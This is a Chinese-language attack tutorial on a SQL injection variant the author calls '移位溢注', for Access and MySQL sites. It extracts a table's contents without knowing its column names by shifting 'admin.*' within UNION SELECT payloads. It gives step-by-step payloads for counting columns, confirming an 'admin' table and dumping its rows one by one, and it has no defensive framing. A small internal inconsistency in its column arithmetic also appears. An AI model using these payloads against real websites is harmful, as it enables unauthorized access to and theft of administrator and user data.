在Access数据库类型注入的时候,我们获取不到列名(前提是有表名),一般会选择使用偏移注入,但是这种注入方式往往借助的是个人的人品,且步骤繁琐。本文中我们研究了一种新的注入技术让“偏移注入不再需要人品”。在这里定义这种注入技术为:“移位溢注技术”。它适用于ACCESS和MYSQL(任何版本)。
我们先来看看普通的偏移注入步骤:
1.判断注入点
2.order by 判断长度
3.判断表名
4.联合查询
5.获取表中列数:union select 1,2,3,4,..,* from TABLE
6.开始偏移注入:TABLE as a inner join TABLE as b on a.id=b.id
由于步骤6的方法过于需要人品值,且语句繁琐,因此在这里,我们研究新的注入技术。
首先来看看步骤6语句的整体意思:
步骤6的语句,表示给TALBE取2个别名,然后分别用别名取查询TALBE的内容(表a和表b);而on a.id = b.id 这样的条件是为了满足语法需求,实际并没有作用,因为相同内容的表,相同字段内容一定相同。
这时,我们再回过头来看步骤5:
由于联合查询中select后面添加数字的目的是为了让联合查询返回接结果和网站正常查询返回的结果的列数一致(不一致数据库会报错,页面无法显示),且*表示通配符,可以表示整个表格所有列;因此这里通过数字来占位,并使用*来替代TABLE中的所有列,使得联合查询可以完成,并推算出*的值。
这时候我们继续研究偏移注入的整体公式方法,发现即使使用多级偏移注入也需要一定的概率(人品值)才可以得到想要的结果,所以我们就尝试研究新的方法能不能替换这种不固定概率的方法。
现在我们重新整理一下SQL语句,从联合查询开始:
1.原union语句:
union select 1,2,3,..,p..,n from TABLE
(p=页面爆出的数字,可能有多个p1,p2..;n=原网站查询的总列数;TALBE=我们获得的表名;下面开始就使用上述字母的定义)
2.新语句:
union select 1,2,3,..,p-1,TABLE.*,p+k,..,n from TABLE where 字段名 = 字段内容
在p的位置爆出TALBE表中第一个字段的内容(其他位置还可能爆出更多内容。这里如果存在已知字段名可以使用,没有就不用,一般id这个字段时存在的,可以使用id = 1来显示第一行)
union select 1,2,3,..,p-2,TABLE.*,p+k-1,..,n from TABLE where 字段名 = 字段内容
在p的位置爆出TALBE表中第二个字段的内容(其他位置还可能爆出更多内容)
union select 1,2,3,..,p-3,TABLE.*,p+k-2,..,n from TABLE where 字段名 = 字段内容
在p的位置爆出TALBE表中第三个字段的内容(其他位置还可能爆出更多内容)
注:这里一定是TALBE.*而不是*
3.1 以此类推可以爆出TALBE的每一列内容。
3.2 如果p<k则没法爆出p+1列至k列的内容,如果n-p<k则无法爆出第1列至k-(n-p)列。
原理
1.由原语句:union select 1,2,3,..,p..,n-k,* from TABLE 可以得出该联合查询的目的是构造和原网站相同列数的查询结构,使得页面上可以显示对应的数字;这条语句相当于是做了两次查询并将它们的结果合并,第一次做了select 1,2,3,..,n-k from TALBE ,第二次做了select * from TALBE ,然后将它们的结果合并。
这可以参考mysql的语句:select 1,2,3,4,5,admin.* from admin;
2.只要满足原理1的要求,保障联合查询的结果和原网站查询的结果列数一致即可;因此可以将TALBE.*向前移动至页面显示的数字处来爆出TALBE列中的内容。
这可以参考mysql的语句:
select 1,2,3,4,5,6,7,8,9,10 from news where id =1 union select 1,2,3,4,5,6,7,admin.* from admin;
select 1,2,3,4,5,6,7,8,9,10 from news where id =1 union select 1,2,3,admin.*,7,8,9,10 from admin;
注:假设数字4、5在页面显示。
由下图可知,其实数据已近查询出来,但是页面没有显示,这个是通过平移查询结果到页面显示的数字上去,即可爆出敏感字段。
例子:
步骤1:判断注入点是否存在
步骤2:判断字段长度:order by 35
步骤3:获得表名(必备条件) and exists(select * from admin)
步骤4:获取不了列名(当尝试多个常用字段名以后,最终还是发现无法获得字段名)
步骤5:使用联合查询(union select)
步骤6:使用新注入技术方法
(1)获取admin表的列数:
UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,* from admin——返回错误页面
UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,* from admin——返回错误页面
UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,* from admin——返回错误页面
UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,* from admin——返回错误页面
…
UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,* from admin——返回步骤5页面,因此admin表的列数为6
(2)由于网页中包含连续数字,表示可以显示连续的查询结果,构造SQL语句查询前四列第一行。
UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,admin.*,34,35 from admin
(3)由第一行第一列内容为1,可以猜测该表有id字段,因此修改语句获取其他行。
UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,admin.*,34,35 from admin where id = 3
总结
在这里我们命名这种新注入技术为“移位溢注”。由此如果MYSQL小于5.0的情况下所具备的条件和ACCESS一样,也可以使用此方法注入,如果是MYSQL大于5.0的版本,使用此方法可以省去获得列名的步骤。